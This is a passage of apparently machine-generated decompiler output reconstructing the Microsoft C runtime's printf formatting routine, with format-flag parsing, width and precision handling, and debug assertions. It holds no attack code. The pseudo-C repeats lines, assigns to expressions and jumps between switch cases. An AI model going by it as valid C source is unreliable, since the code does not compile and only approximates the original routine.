															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E004357F0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E004357B0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C5D0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004282E8))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E004312B0( *(_t524 - 0x251) & 0x000000ff, E0041AEE0(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00435710( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00435710( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E410();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422F00(_t509))) = 0x16;
																		E00422C90(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041AEB0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x428320; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428308))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x428348; // 0x7bff9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428334))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x4283b4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00428378))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E004283F0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041AEE0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0xab8ad97d
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x2b8ac62f
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0x2b8ac616
																						E00424750(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428430(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x27c) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x27c);
																		if( *(__ebp - 0x27c) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L69:
																		goto L71;
																	case 7:
																		L135:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L144;
																	case 8:
																		L100:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x294) = E004283F0(__ebp + 0x14);
																		__eax = E00433FA0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L110:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x294);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x294);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L101:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x314) = 0;
																		} else {
																			 *(__ebp - 0x314) = 1;
																		}
																		__eax =  *(__ebp - 0x314);
																		 *(__ebp - 0x298) =  *(__ebp - 0x314);
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E410();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) != 0) {
																			L109:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		} else {
																			L108:
																			 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																			__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2e8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AEB0(__ecx);
																			__eax =  *(__ebp - 0x2e8);
																			L211:
																			return E0042BD50(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																		}
																	case 9:
																		L142:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																	case 0xa:
																		goto L0;
																	case 0xb:
																		L81:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x310) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x310) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x310);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L92:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x288) =  *(__ebp - 4);
																			while(1) {
																				L95:
																				__ecx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L96:
																				__eax =  *(__ebp - 0x288);
																				__ecx =  *( *(__ebp - 0x288));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L97:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			}
																			L98:
																			__eax =  *(__ebp - 0x288);
																			__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L99;
																		} else {
																			L85:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x290) =  *(__ebp - 4);
																			while(1) {
																				L88:
																				__edx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags =  *(__ebp - 0x28c);
																				if( *(__ebp - 0x28c) == 0) {
																					break;
																				}
																				L89:
																				__ecx =  *(__ebp - 0x290);
																				__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
